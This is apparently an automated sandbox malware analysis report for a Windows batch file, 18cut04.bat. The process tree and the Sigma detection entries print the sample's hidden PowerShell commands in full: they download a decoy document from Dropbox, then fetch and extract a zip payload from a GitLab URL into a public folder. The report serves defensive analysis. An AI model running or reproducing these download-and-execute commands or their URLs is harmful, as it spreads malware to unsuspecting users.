Edit tour

Windows Analysis Report
18cut04.bat

Overview

General Information

Sample name:	18cut04.bat
Analysis ID:	1557409
MD5:	063a08da4bdeef6cc43e5041f5db4ee5
SHA1:	469e79f961d6a5b205247b0cd3fbb72e0b8a4728
SHA256:	bdaa1a95ab24bc377cf918933934d852e74835d710fde085ec51c62e65311ea0
Tags:	batBraodouser-JAMESWT_MHT
Infos:

Detection

Abobus Obfuscator

Score:	84
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Yara detected Abobus Obfuscator

Yara detected Powershell download and execute

Powershell drops PE file

Sigma detected: PowerShell DownloadFile

Sigma detected: Powerup Write Hijack DLL

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: Windows Shell/Scripting Application File Write to Suspicious Folder

Suspicious powershell command line found

Tries to download and execute files (via powershell)

Contains functionality to detect virtual machines (STR)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Drops PE files

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

HTTP GET or POST without a user agent

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

Queries the volume information (name, serial number etc) of a device

Sigma detected: Potential Binary Or Script Dropper Via PowerShell

Sigma detected: PowerShell Download Pattern

Sigma detected: PowerShell Web Download

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: Use Short Name Path in Command Line

Uses code obfuscation techniques (call, push, ret)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

cmd.exe (PID: 7672 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\18cut04.bat" " MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7680 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

chcp.com (PID: 7772 cmdline: chcp.com 437 MD5: 33395C4732A49065EA72590B14B64F32)

cmd.exe (PID: 7788 cmdline: C:\Windows\system32\cmd.exe /c type tmp MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

find.exe (PID: 7808 cmdline: find MD5: 4BF76A28D31FC73AA9FC970B22D056AF)

findstr.exe (PID: 7832 cmdline: fiNdstr /L /I set "C:\Users\user\Desktop\18cut04.bat" MD5: 804A6AE28E88689E0CF1946A6CB3FEE5)

findstr.exe (PID: 7848 cmdline: fiNdstr /L /I goto "C:\Users\user\Desktop\18cut04.bat" MD5: 804A6AE28E88689E0CF1946A6CB3FEE5)

findstr.exe (PID: 7860 cmdline: fiNdstr /L /I echo "C:\Users\user\Desktop\18cut04.bat" MD5: 804A6AE28E88689E0CF1946A6CB3FEE5)

findstr.exe (PID: 7884 cmdline: fiNdstr /L /I pause "C:\Users\user\Desktop\18cut04.bat" MD5: 804A6AE28E88689E0CF1946A6CB3FEE5)

find.exe (PID: 7924 cmdline: find MD5: 4BF76A28D31FC73AA9FC970B22D056AF)

cmd.exe (PID: 7964 cmdline: C:\Windows\system32\cmd.exe /c type tmp MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

powershell.exe (PID: 7988 cmdline: powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://www.dropbox.com/scl/fi/2xk4dviogo9yr2ose1z39/17_Advertising_Campaign_and_Collaboration.docx?rlkey=4wos6vvfhgosyi024mdevofd9&st=9zhl6gij&dl=1', 'C:\Users\user~1\AppData\Local\Temp\\18_Advertising_Campaign_and_Collaboration.docx')" MD5: 04029E121A0CFA5991749937DD22A1D9)

powershell.exe (PID: 8180 cmdline: powershell -WindowStyle Hidden -Command "Start-Process 'C:\Users\user~1\AppData\Local\Temp\\18_Advertising_Campaign_and_Collaboration.docx'" MD5: 04029E121A0CFA5991749937DD22A1D9)

powershell.exe (PID: 2064 cmdline: powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://gitlab.com/bose1511/mkt1511/-/raw/main/18Fukrun.zip', 'C:\Users\Public\Document.zip')" MD5: 04029E121A0CFA5991749937DD22A1D9)

powershell.exe (PID: 7684 cmdline: powershell.exe -WindowStyle Hidden -Command "Add-Type -AssemblyName System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory('C:/Users/Public/Document.zip', 'C:/Users/Public/Document')" MD5: 04029E121A0CFA5991749937DD22A1D9)

cleanup

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
18cut04.bat	JoeSecurity_AbobusObfuscator	Yara detected Abobus Obfuscator	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: powershell.exe PID: 7988	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: powershell.exe PID: 2064	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security

Other

Source	Rule	Description	Author	Strings
amsi64_7988.amsi.csv	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
amsi64_2064.amsi.csv	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security

Sigma Signatures

System Summary

Sigma detected: PowerShell DownloadFile

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://www.dropbox.com/scl/fi/2xk4dviogo9yr2ose1z39/17_Advertising_Campaign_and_Collaboration.docx?rlkey=4wos6vvfhgosyi024mdevofd9&st=9zhl6gij&dl=1', 'C:\Users\user~1\AppData\Local\Temp\\18_Advertising_Campaign_and_Collaboration.docx')", CommandLine: powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://www.dropbox.com/scl/fi/2xk4dviogo9yr2ose1z39/17_Advertising_Campaign_and_Collaboration.docx?rlkey=4wos6vvfhgosyi024mdevofd9&st=9zhl6gij&dl=1', 'C:\Users\user~1\AppData\Local\Temp\\18_Advertising_Campaign_and_Collaboration.docx')", CommandLine|base64offset|contains: hv)^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\18cut04.bat" ", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7672, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://www.dropbox.com/scl/fi/2xk4dviogo9yr2ose1z39/17_Advertising_Campaign_and_Collaboration.docx?rlkey=4wos6vvfhgosyi024mdevofd9&st=9zhl6gij&dl=1', 'C:\Users\user~1\AppData\Local\Temp\\18_Advertising_Campaign_and_Collaboration.docx')", ProcessId: 7988, ProcessName: powershell.exe

Sigma detected: Powerup Write Hijack DLL

Source: File created

Author: Subhash Popuri (@pbssubhash): Data: EventID: 11, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 7684, TargetFilename: C:\Users\Public\Document\Lib\ctypes\macholib\fetch_macholib.bat

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://www.dropbox.com/scl/fi/2xk4dviogo9yr2ose1z39/17_Advertising_Campaign_and_Collaboration.docx?rlkey=4wos6vvfhgosyi024mdevofd9&st=9zhl6gij&dl=1', 'C:\Users\user~1\AppData\Local\Temp\\18_Advertising_Campaign_and_Collaboration.docx')", CommandLine: powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://www.dropbox.com/scl/fi/2xk4dviogo9yr2ose1z39/17_Advertising_Campaign_and_Collaboration.docx?rlkey=4wos6vvfhgosyi024mdevofd9&st=9zhl6gij&dl=1', 'C:\Users\user~1\AppData\Local\Temp\\18_Advertising_Campaign_and_Collaboration.docx')", CommandLine|base64offset|contains: hv)^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\18cut04.bat" ", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7672, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://www.dropbox.com/scl/fi/2xk4dviogo9yr2ose1z39/17_Advertising_Campaign_and_Collaboration.docx?rlkey=4wos6vvfhgosyi024mdevofd9&st=9zhl6gij&dl=1', 'C:\Users\user~1\AppData\Local\Temp\\18_Advertising_Campaign_and_Collaboration.docx')", ProcessId: 7988, ProcessName: powershell.exe

Sigma detected: Windows Shell/Scripting Application File Write to Suspicious Folder

Source: File created

Author: Florian Roth (Nextron Systems): Data: EventID: 11, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 2064, TargetFilename: C:\Users\Public\Document.zip

Sigma detected: Potential Binary Or Script Dropper Via PowerShell

Source: File created

Author: frack113, Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 7684, TargetFilename: C:\Users\Public\Document\python.exe

Sigma detected: PowerShell Download Pattern

Source: Process started

Author: Florian Roth (Nextron Systems), oscd.community, Jonhnathan Ribeiro: Data: Command: powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://www.dropbox.com/scl/fi/2xk4dviogo9yr2ose1z39/17_Advertising_Campaign_and_Collaboration.docx?rlkey=4wos6vvfhgosyi024mdevofd9&st=9zhl6gij&dl=1', 'C:\Users\user~1\AppData\Local\Temp\\18_Advertising_Campaign_and_Collaboration.docx')", CommandLine: powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://www.dropbox.com/scl/fi/2xk4dviogo9yr2ose1z39/17_Advertising_Campaign_and_Collaboration.docx?rlkey=4wos6vvfhgosyi024mdevofd9&st=9zhl6gij&dl=1', 'C:\Users\user~1\AppData\Local\Temp\\18_Advertising_Campaign_and_Collaboration.docx')", CommandLine|base64offset|contains: hv)^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\18cut04.bat" ", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7672, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://www.dropbox.com/scl/fi/2xk4dviogo9yr2ose1z39/17_Advertising_Campaign_and_Collaboration.docx?rlkey=4wos6vvfhgosyi024mdevofd9&st=9zhl6gij&dl=1', 'C:\Users\user~1\AppData\Local\Temp\\18_Advertising_Campaign_and_Collaboration.docx')", ProcessId: 7988, ProcessName: powershell.exe

Sigma detected: PowerShell Web Download

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://www.dropbox.com/scl/fi/2xk4dviogo9yr2ose1z39/17_Advertising_Campaign_and_Collaboration.docx?rlkey=4wos6vvfhgosyi024mdevofd9&st=9zhl6gij&dl=1', 'C:\Users\user~1\AppData\Local\Temp\\18_Advertising_Campaign_and_Collaboration.docx')", CommandLine: powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://www.dropbox.com/scl/fi/2xk4dviogo9yr2ose1z39/17_Advertising_Campaign_and_Collaboration.docx?rlkey=4wos6vvfhgosyi024mdevofd9&st=9zhl6gij&dl=1', 'C:\Users\user~1\AppData\Local\Temp\\18_Advertising_Campaign_and_Collaboration.docx')", CommandLine|base64offset|contains: hv)^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\18cut04.bat" ", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7672, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://www.dropbox.com/scl/fi/2xk4dviogo9yr2ose1z39/17_Advertising_Campaign_and_Collaboration.docx?rlkey=4wos6vvfhgosyi024mdevofd9&st=9zhl6gij&dl=1', 'C:\Users\user~1\AppData\Local\Temp\\18_Advertising_Campaign_and_Collaboration.docx')", ProcessId: 7988, ProcessName: powershell.exe

Sigma detected: Use Short Name Path in Command Line

Source: Process started

Author: frack113, Nasreddine Bencherchali: Data: Command: powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://www.dropbox.com/scl/fi/2xk4dviogo9yr2ose1z39/17_Advertising_Campaign_and_Collaboration.docx?rlkey=4wos6vvfhgosyi024mdevofd9&st=9zhl6gij&dl=1', 'C:\Users\user~1\AppData\Local\Temp\\18_Advertising_Campaign_and_Collaboration.docx')", CommandLine: powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://www.dropbox.com/scl/fi/2xk4dviogo9yr2ose1z39/17_Advertising_Campaign_and_Collaboration.docx?rlkey=4wos6vvfhgosyi024mdevofd9&st=9zhl6gij&dl=1', 'C:\Users\user~1\AppData\Local\Temp\\18_Advertising_Campaign_and_Collaboration.docx')", CommandLine|base64offset|contains: hv)^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\18cut04.bat" ", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7672, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://www.dropbox.com/scl/fi/2xk4dviogo9yr2ose1z39/17_Advertising_Campaign_and_Collaboration.docx?rlkey=4wos6vvfhgosyi024mdevofd9&st=9zhl6gij&dl=1', 'C:\Users\user~1\AppData\Local\Temp\\18_Advertising_Campaign_and_Collaboration.docx')", ProcessId: 7988, ProcessName: powershell.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://www.dropbox.com/scl/fi/2xk4dviogo9yr2ose1z39/17_Advertising_Campaign_and_Collaboration.docx?rlkey=4wos6vvfhgosyi024mdevofd9&st=9zhl6gij&dl=1', 'C:\Users\user~1\AppData\Local\Temp\\18_Advertising_Campaign_and_Collaboration.docx')", CommandLine: powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://www.dropbox.com/scl/fi/2xk4dviogo9yr2ose1z39/17_Advertising_Campaign_and_Collaboration.docx?rlkey=4wos6vvfhgosyi024mdevofd9&st=9zhl6gij&dl=1', 'C:\Users\user~1\AppData\Local\Temp\\18_Advertising_Campaign_and_Collaboration.docx')", CommandLine|base64offset|contains: hv)^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\18cut04.bat" ", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7672, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://www.dropbox.com/scl/fi/2xk4dviogo9yr2ose1z39/17_Advertising_Campaign_and_Collaboration.docx?rlkey=4wos6vvfhgosyi024mdevofd9&st=9zhl6gij&dl=1', 'C:\Users\user~1\AppData\Local\Temp\\18_Advertising_Campaign_and_Collaboration.docx')", ProcessId: 7988, ProcessName: powershell.exe

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Source: powershell.exe, 00000011.00000002.2448283371.0000022F80849000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: -----BEGIN PUBLIC KEY-----

memstr_5d046f6a-6

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\Public\Document\LICENSE.txt

Jump to behavior

Source: unknown	HTTPS traffic detected: 162.125.66.18:443 -> 192.168.2.7:49704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.7:49744 version: TLS 1.2

Source:	Binary string: *.pdbv source: powershell.exe, 0000000D.00000002.1401370832.000001876A252000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: pdb.Pdb(nosigint=True).runcall(f) source: test_zipimport_support.py.17.dr
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\System.pdb source: powershell.exe, 0000000D.00000002.1401370832.000001876A28C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\AppData\Local\Microsoft.pdb source: powershell.exe, 0000000D.00000002.1400342987.000001876A0F2000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: <tr class="row-even"><td><p>pdb.Pdb</p></td> source: audit_events.html.17.dr
Source:	Binary string: \??\C:\Windows\System.Management.Automation.pdbal\T source: powershell.exe, 0000000D.00000002.1400342987.000001876A0F2000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: <td><p><a class="reference internal" href="pdb.html#pdb.Pdb">[1]</a></p></td> source: audit_events.html.17.dr
Source:	Binary string: 6?ll\System.pdb source: powershell.exe, 0000000D.00000002.1379643388.0000018750022000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: (<a class="reference internal" href="pdb.html#pdb.Pdb" title="pdb.Pdb"><code class="xref py py-class docutils literal notranslate"><span class="pre">pdb.Pdb</span></code></a>) is an example.</p> source: bdb.html.17.dr
Source:	Binary string: System.pdbs\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\InprocServer32 source: powershell.exe, 0000000D.00000002.1401370832.000001876A278000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\System.pdbft source: powershell.exe, 0000000D.00000002.1401370832.000001876A28C000.00000004.00000020.00020000.00000000.sdmp

Source: global traffic	HTTP traffic detected: GET /scl/fi/2xk4dviogo9yr2ose1z39/17_Advertising_Campaign_and_Collaboration.docx?rlkey=4wos6vvfhgosyi024mdevofd9&st=9zhl6gij&dl=1 HTTP/1.1Host: www.dropbox.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /bose1511/mkt1511/-/raw/main/18Fukrun.zip HTTP/1.1Host: gitlab.comConnection: Keep-Alive

Source: Joe Sandbox View	IP Address: 172.65.251.78 172.65.251.78
Source: Joe Sandbox View	IP Address: 162.125.66.18 162.125.66.18

Source: Joe Sandbox View

JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: unknown

DNS query: name: ipinfo.io

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /scl/fi/2xk4dviogo9yr2ose1z39/17_Advertising_Campaign_and_Collaboration.docx?rlkey=4wos6vvfhgosyi024mdevofd9&st=9zhl6gij&dl=1 HTTP/1.1Host: www.dropbox.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /bose1511/mkt1511/-/raw/main/18Fukrun.zip HTTP/1.1Host: gitlab.comConnection: Keep-Alive

Source: powershell.exe, 0000000D.00000002.1380394770.000001875356F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: .0.1:/ws blob: wss://dsimports.dropbox.com/ ; worker-src https://www.dropbox.com/static/serviceworker/ https://www.dropbox.com/encrypted_folder_download/service_worker.js https://www.dropbox.com/service_worker.js blob: ; font-src https:// data: ; frame-ancestors 'self' https://.dropbox.com ; child-src https://www.dropbox.com/static/serviceworker/ blob: ; object-src 'self' https://cfl.dropboxstatic.com/static/ https://www.dropboxstatic.com/static/ ; media-src https:// blob: ; report-uri https://www.dropbox.com/csp_log?policy_name=metaserver-whitelist ; frame-src https://* carousel: dbapi-6: dbapi-7: dbapi-8: dropbox-client: itms-apps: itms-appss: ; script-src 'unsafe-eval' 'inline-speculation-rules' https://www.dropbox.com/static/api/ https://www.dropbox.com/pithos/* https://www.dropbox.com/page_success/ https://cfl.dropboxstatic.com/static/ https://www.dropboxstatic.com/static/ https://accounts.google.com/gsi/client https://canny.io/sdk.js https://www.paypal.com/sdk/js https://www.google.com/recaptcha/ https://www.gstatic.com/recaptcha/ 'unsafe-inline' ; style-src https://* 'unsafe-inline' 'unsafe-eval' ; img-src https://* data: blob: ; base-uri 'self' ; default-src https://www.dropbox.com/playlist/ https://www.dropbox.com/v/s/playlist/ https://.dropboxusercontent.com/p/hls_master_playlist/ https://.dropboxusercontent.com/p/hls_playlist/ ; form-action https://docs.google.com/document/fsip/ https://docs.google.com/spreadsheets/fsip/ https://docs.google.com/presentation/fsip/ https://docs.sandbox.google.com/document/fsip/ https://docs.sandbox.google.com/spreadsheets/fsip/ https://docs.sandbox.google.com/presentation/fsip/ https://.purple.officeapps.live-int.com https://officeapps-df.live.com https://.officeapps-df.live.com https://officeapps.live.com https://*.officeapps.live.com https://paper.dropbox.com/cloud-docs/edit 'self' https://www.dropbox.com/ https://dl-web.dropbox.com/ https://photos.dropbox.com/ https://paper.dropbox.com/ https://showcase.dropbox.com/ https://www.hellofax.com/ https://app.hellofax.com/ https://www.hellosign.com/ https://app.hellosign.com/ https://docsend.com/ https://www.docsend.com/ https://help.dropbox.com/ https://navi.dropbox.jp/ https://a.sprig.com/ https://selfguidedlearning.dropboxbusiness.com/ https://instructorledlearning.dropboxbusiness.com/ https://sales.dropboxbusiness.com/ https://accounts.google.com/ https://api.login.yahoo.com/ https://login.yahoo.com/ https://experience.dropbox.com/ https://pal-test.adyen.com https://2e83413d8036243b-Dropbox-pal-live.adyenpayments.com/ https://onedrive.live.com/picker equals www.yahoo.com (Yahoo)
Source: unicode.html.17.dr	String found in binary or memory: <a class="reference external" href="https://www.youtube.com/watch?v=MijmeoH9LT4">discusses the history of Unicode and UTF-8</a> equals www.youtube.com (Youtube)
Source: powershell.exe, 0000000D.00000002.1380394770.000001875358F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: Policy: connect-src https://* ws://127.0.0.1:/ws blob: wss://dsimports.dropbox.com/ ; worker-src https://www.dropbox.com/static/serviceworker/ https://www.dropbox.com/encrypted_folder_download/service_worker.js https://www.dropbox.com/service_worker.js blob: ; font-src https:// data: ; frame-ancestors 'self' https://.dropbox.com ; child-src https://www.dropbox.com/static/serviceworker/ blob: ; object-src 'self' https://cfl.dropboxstatic.com/static/ https://www.dropboxstatic.com/static/ ; media-src https:// blob: ; report-uri https://www.dropbox.com/csp_log?policy_name=metaserver-whitelist ; frame-src https://* carousel: dbapi-6: dbapi-7: dbapi-8: dropbox-client: itms-apps: itms-appss: ; script-src 'unsafe-eval' 'inline-speculation-rules' https://www.dropbox.com/static/api/ https://www.dropbox.com/pithos/* https://www.dropbox.com/page_success/ https://cfl.dropboxstatic.com/static/ https://www.dropboxstatic.com/static/ https://accounts.google.com/gsi/client https://canny.io/sdk.js https://www.paypal.com/sdk/js https://www.google.com/recaptcha/ https://www.gstatic.com/recaptcha/ 'unsafe-inline' ; style-src https://* 'unsafe-inline' 'unsafe-eval' ; img-src https://* data: blob: ; base-uri 'self' ; default-src https://www.dropbox.com/playlist/ https://www.dropbox.com/v/s/playlist/ https://.dropboxusercontent.com/p/hls_master_playlist/ https://.dropboxusercontent.com/p/hls_playlist/ ; form-action https://docs.google.com/document/fsip/ https://docs.google.com/spreadsheets/fsip/ https://docs.google.com/presentation/fsip/ https://docs.sandbox.google.com/document/fsip/ https://docs.sandbox.google.com/spreadsheets/fsip/ https://docs.sandbox.google.com/presentation/fsip/ https://.purple.officeapps.live-int.com https://officeapps-df.live.com https://.officeapps-df.live.com https://officeapps.live.com https://*.officeapps.live.com https://paper.dropbox.com/cloud-docs/edit 'self' https://www.dropbox.com/ https://dl-web.dropbox.com/ https://photos.dropbox.com/ https://paper.dropbox.com/ https://showcase.dropbox.com/ https://www.hellofax.com/ https://app.hellofax.com/ https://www.hellosign.com/ https://app.hellosign.com/ https://docsend.com/ https://www.docsend.com/ https://help.dropbox.com/ https://navi.dropbox.jp/ https://a.sprig.com/ https://selfguidedlearning.dropboxbusiness.com/ https://instructorledlearning.dropboxbusiness.com/ https://sales.dropboxbusiness.com/ https://accounts.google.com/ https://api.login.yahoo.com/ https://login.yahoo.com/ https://experience.dropbox.com/ https://pal-test.adyen.com https://2e83413d8036243b-Dropbox-pal-live.adyenpayments.com/ https://onedrive.live.com/picker equals www.yahoo.com (Yahoo)
Source: powershell.exe, 0000000D.00000002.1380394770.0000018753593000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: connect-src https://* ws://127.0.0.1:/ws blob: wss://dsimports.dropbox.com/ ; worker-src https://www.dropbox.com/static/serviceworker/ https://www.dropbox.com/encrypted_folder_download/service_worker.js https://www.dropbox.com/service_worker.js blob: ; font-src https:// data: ; frame-ancestors 'self' https://.dropbox.com ; child-src https://www.dropbox.com/static/serviceworker/ blob: ; object-src 'self' https://cfl.dropboxstatic.com/static/ https://www.dropboxstatic.com/static/ ; media-src https:// blob: ; report-uri https://www.dropbox.com/csp_log?policy_name=metaserver-whitelist ; frame-src https://* carousel: dbapi-6: dbapi-7: dbapi-8: dropbox-client: itms-apps: itms-appss: ; script-src 'unsafe-eval' 'inline-speculation-rules' https://www.dropbox.com/static/api/ https://www.dropbox.com/pithos/* https://www.dropbox.com/page_success/ https://cfl.dropboxstatic.com/static/ https://www.dropboxstatic.com/static/ https://accounts.google.com/gsi/client https://canny.io/sdk.js https://www.paypal.com/sdk/js https://www.google.com/recaptcha/ https://www.gstatic.com/recaptcha/ 'unsafe-inline' ; style-src https://* 'unsafe-inline' 'unsafe-eval' ; img-src https://* data: blob: ; base-uri 'self' ; default-src https://www.dropbox.com/playlist/ https://www.dropbox.com/v/s/playlist/ https://.dropboxusercontent.com/p/hls_master_playlist/ https://.dropboxusercontent.com/p/hls_playlist/ ; form-action https://docs.google.com/document/fsip/ https://docs.google.com/spreadsheets/fsip/ https://docs.google.com/presentation/fsip/ https://docs.sandbox.google.com/document/fsip/ https://docs.sandbox.google.com/spreadsheets/fsip/ 